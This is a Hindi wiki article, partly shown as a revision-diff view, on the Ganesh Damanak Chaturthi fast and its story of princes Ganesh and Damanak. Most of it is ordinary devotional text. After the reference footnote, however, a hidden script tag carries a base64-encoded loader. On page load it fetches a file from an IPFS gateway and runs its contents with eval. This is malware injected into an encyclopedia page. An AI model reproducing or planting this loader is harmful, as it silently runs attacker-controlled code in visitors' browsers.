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'''गणेश दमनक चतुर्थी''' [[चैत्र मास|चैत्र माह]] के [[शुक्ल पक्ष]] की [[चतुर्थी]] को मनायी जाती है। भगवान [[गणेश]] जी को प्रसन्न करने के लिये 'गणेश दमनक चतुर्थी व्रत' किया जाता है। भगवान गणेश को विघ्नहर्ता कहा गया है। सभी [[देवता|देवताओं]] में सबसे पहले गणेश जी का ही पूजन किया जाता है। इस दिन [[व्रत]] रखकर यदि भगवान गणेश का मोदक आदि से [[पूजा|पूजन]] किया जाये तो हर परेशानी दूर हो जाती है तथा मनोवांछित फल की प्राप्ति होती है।  
 
'''गणेश दमनक चतुर्थी''' [[चैत्र मास|चैत्र माह]] के [[शुक्ल पक्ष]] की [[चतुर्थी]] को मनायी जाती है। भगवान [[गणेश]] जी को प्रसन्न करने के लिये 'गणेश दमनक चतुर्थी व्रत' किया जाता है। भगवान गणेश को विघ्नहर्ता कहा गया है। सभी [[देवता|देवताओं]] में सबसे पहले गणेश जी का ही पूजन किया जाता है। इस दिन [[व्रत]] रखकर यदि भगवान गणेश का मोदक आदि से [[पूजा|पूजन]] किया जाये तो हर परेशानी दूर हो जाती है तथा मनोवांछित फल की प्राप्ति होती है।  
 
==कथा==
 
==कथा==
प्राचीन समय में एक राजा थे। उनके दो रानियाँ थीं और दोनों के एक-एक पुत्र था। एक का नाम गणेश और दूसरे का नाम दमनक था। गणेश जब अपनी ननिहाल में जाता, तब उसके ननिहाल में [[मामा]] और मामियाँ उसकी खूब खातिरदारी करते थे और दमनक जब भी ननिहाल जाता, तब उसके मामा और मामियाँ उससे घर का काम करवाते और किसी काम में कमी रह जाने पर उसे पीटते भी थे। जब दोनों भाई अपने घर पर आते, तब गणेश अपनी ननिहाल से खूब मिठाई और सामान लाता, जबकि दमनक जब अपनी ननिहाल से वापस आता, तो ख़ाली हाथ ही आता। गणेश अपने घर आकर अपनी ननिहाल की खूब तारीफ़ करता, जबकि दमनक चुपचाप ही रह जाता था। दोनों की शादी हुई और दोनों की बहुयें आयीं। गणेश जब ससुराल जाता, तब उसके ससुराल वाले उसकी खूब खातिरदारी करते और जब दमनक ससुराल जाता, तब उसके ससुराल वाले बहाना बनाकर उसे घुड़साल में सुला देते और खुद आराम से सोते। गणेश जब ससुराल से घर आता, तब खूब सारा दान-दहेज लेकर आता, जबकि दमनक ख़ाली हाथ ही आता। इन दोनों की हालत एक बुढिया देखती रहती थी। एक दिन शाम को [[शंकर]] और [[पार्वती]] संध्या की फेरी लगाने और जगत् की चिंता लेने के लिये निकले तो वह बुढिया हाथ जोड़कर उनके सामने खड़ी हो गयी और उसने गणेश तथा दमनक का किस्सा उनको बताया और पूछा कि ऐसा क्या कारण है कि दमनक को ननिहाल और ससुराल में अपमान मिलता है, जबकि गणेश को दोनों जगह पर खुशामद मिलती है।<br />
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प्राचीन समय में एक राजा थे। उनके दो रानियाँ थीं और दोनों के एक-एक पुत्र था। एक का नाम गणेश और दूसरे का नाम दमनक था। गणेश जब अपनी ननिहाल में जाता, तब उसके ननिहाल में [[मामा]] और मामियाँ उसकी खूब खातिरदारी करते थे और दमनक जब भी ननिहाल जाता, तब उसके मामा और मामियाँ उससे घर का काम करवाते और किसी काम में कमी रह जाने पर उसे पीटते भी थे। जब दोनों भाई अपने घर पर आते, तब गणेश अपनी ननिहाल से खूब मिठाई और सामान लाता, जबकि दमनक जब अपनी ननिहाल से वापस आता, तो ख़ाली हाथ ही आता। गणेश अपने घर आकर अपनी ननिहाल की खूब तारीफ़ करता, जबकि दमनक चुपचाप ही रह जाता था। दोनों की शादी हुई और दोनों की बहुयें आयीं। गणेश जब ससुराल जाता, तब उसके ससुराल वाले उसकी खूब खातिरदारी करते और जब दमनक ससुराल जाता, तब उसके ससुराल वाले बहाना बनाकर उसे घुड़साल में सुला देते और खुद आराम से सोते। गणेश जब ससुराल से घर आता, तब खूब सारा दान-दहेज लेकर आता, जबकि दमनक ख़ाली हाथ ही आता। इन दोनों की हालत एक बुढिया देखती रहती थी। एक दिन शाम को [[शंकर]] और [[पार्वती]] संध्या की फेरी लगाने और जगत् की चिंता लेने के लिये निकले तो वह बुढिया हाथ जोड़कर उनके सामने खड़ी हो गयी और उसने गणेश तथा दमनक का क़िस्सा  उनको बताया और पूछा कि ऐसा क्या कारण है कि दमनक को ननिहाल और ससुराल में अपमान मिलता है, जबकि गणेश को दोनों जगह पर खुशामद मिलती है।<br />
 
[[शिव|शंकरजी]] ने [[ध्यान]] लगाया और बोले- "गणेश ने तो अपने पिछले जीवन में जो ननिहाल से मामा और मामी से लिया था उसे वह मामा और मामी की संतान को वापस कर आया था। ससुराल से जो मिला था, वह साले और सलहज की संतान को वापस कर आया। इसलिये उसकी इस जन्म में भी खूब खुशामद होती है, जबकि दमनक अपनी ननिहाल से लेकर आता ज़रूर था, लेकिन उनके घर कामकाज होने पर वापस नहीं देने जाता था और यही बात उसके साथ ससुराल से भी थी। वह ससुराल से लेकर तो खूब आता था, लेकिन उसने कभी उसे वापस नहीं दिया। इसलिये इस जन्म में दमनक को अपमान मिलता है और खुशामद भी नहीं होती है।<ref>{{cite web |url=http://upvas.wikidot.com/ganesh|title=गणेश दमनक चतुर्थी|accessmonthday=01 मार्च|accessyear=2012|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
 
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इसलिये हमेशा याद रखना चाहिये कि भाई से खाने पर भतीजों को लौटा देना चाहिये, मामा से खाने पर मामा की संतान को लौटा देना चाहिये, ससुराल से खाने पर साले की संतान को लौटा देना चाहिये। जिसका जो भी खाया है, उसको लौटा देने पर दोबारा से मिलता रहता है।
 
इसलिये हमेशा याद रखना चाहिये कि भाई से खाने पर भतीजों को लौटा देना चाहिये, मामा से खाने पर मामा की संतान को लौटा देना चाहिये, ससुराल से खाने पर साले की संतान को लौटा देना चाहिये। जिसका जो भी खाया है, उसको लौटा देने पर दोबारा से मिलता रहता है।

14:13, 9 मई 2021 के समय का अवतरण

गणेश दमनक चतुर्थी
भगवान गणेश
अनुयायी हिंदू
उद्देश्य भगवान गणेश जी को प्रसन्न करने के लिये 'गणेश दमनक चतुर्थी व्रत' किया जाता है।
प्रारम्भ पौराणिक काल
तिथि चैत्र माह के शुक्ल पक्ष की चतुर्थी
धार्मिक मान्यता इस दिन व्रत रखकर यदि भगवान गणेश का मोदक आदि से पूजन किया जाये तो हर परेशानी दूर हो जाती है तथा मनोवांछित फल की प्राप्ति होती है।
संबंधित लेख गणेश, शिव, गणेश चतुर्थी

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गणेश दमनक चतुर्थी चैत्र माह के शुक्ल पक्ष की चतुर्थी को मनायी जाती है। भगवान गणेश जी को प्रसन्न करने के लिये 'गणेश दमनक चतुर्थी व्रत' किया जाता है। भगवान गणेश को विघ्नहर्ता कहा गया है। सभी देवताओं में सबसे पहले गणेश जी का ही पूजन किया जाता है। इस दिन व्रत रखकर यदि भगवान गणेश का मोदक आदि से पूजन किया जाये तो हर परेशानी दूर हो जाती है तथा मनोवांछित फल की प्राप्ति होती है।

कथा

प्राचीन समय में एक राजा थे। उनके दो रानियाँ थीं और दोनों के एक-एक पुत्र था। एक का नाम गणेश और दूसरे का नाम दमनक था। गणेश जब अपनी ननिहाल में जाता, तब उसके ननिहाल में मामा और मामियाँ उसकी खूब खातिरदारी करते थे और दमनक जब भी ननिहाल जाता, तब उसके मामा और मामियाँ उससे घर का काम करवाते और किसी काम में कमी रह जाने पर उसे पीटते भी थे। जब दोनों भाई अपने घर पर आते, तब गणेश अपनी ननिहाल से खूब मिठाई और सामान लाता, जबकि दमनक जब अपनी ननिहाल से वापस आता, तो ख़ाली हाथ ही आता। गणेश अपने घर आकर अपनी ननिहाल की खूब तारीफ़ करता, जबकि दमनक चुपचाप ही रह जाता था। दोनों की शादी हुई और दोनों की बहुयें आयीं। गणेश जब ससुराल जाता, तब उसके ससुराल वाले उसकी खूब खातिरदारी करते और जब दमनक ससुराल जाता, तब उसके ससुराल वाले बहाना बनाकर उसे घुड़साल में सुला देते और खुद आराम से सोते। गणेश जब ससुराल से घर आता, तब खूब सारा दान-दहेज लेकर आता, जबकि दमनक ख़ाली हाथ ही आता। इन दोनों की हालत एक बुढिया देखती रहती थी। एक दिन शाम को शंकर और पार्वती संध्या की फेरी लगाने और जगत् की चिंता लेने के लिये निकले तो वह बुढिया हाथ जोड़कर उनके सामने खड़ी हो गयी और उसने गणेश तथा दमनक का क़िस्सा उनको बताया और पूछा कि ऐसा क्या कारण है कि दमनक को ननिहाल और ससुराल में अपमान मिलता है, जबकि गणेश को दोनों जगह पर खुशामद मिलती है।
शंकरजी ने ध्यान लगाया और बोले- "गणेश ने तो अपने पिछले जीवन में जो ननिहाल से मामा और मामी से लिया था उसे वह मामा और मामी की संतान को वापस कर आया था। ससुराल से जो मिला था, वह साले और सलहज की संतान को वापस कर आया। इसलिये उसकी इस जन्म में भी खूब खुशामद होती है, जबकि दमनक अपनी ननिहाल से लेकर आता ज़रूर था, लेकिन उनके घर कामकाज होने पर वापस नहीं देने जाता था और यही बात उसके साथ ससुराल से भी थी। वह ससुराल से लेकर तो खूब आता था, लेकिन उसने कभी उसे वापस नहीं दिया। इसलिये इस जन्म में दमनक को अपमान मिलता है और खुशामद भी नहीं होती है।[1] इसलिये हमेशा याद रखना चाहिये कि भाई से खाने पर भतीजों को लौटा देना चाहिये, मामा से खाने पर मामा की संतान को लौटा देना चाहिये, ससुराल से खाने पर साले की संतान को लौटा देना चाहिये। जिसका जो भी खाया है, उसको लौटा देने पर दोबारा से मिलता रहता है।


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टीका टिप्पणी और संदर्भ

  1. गणेश दमनक चतुर्थी (हिन्दी)। । अभिगमन तिथि: 01 मार्च, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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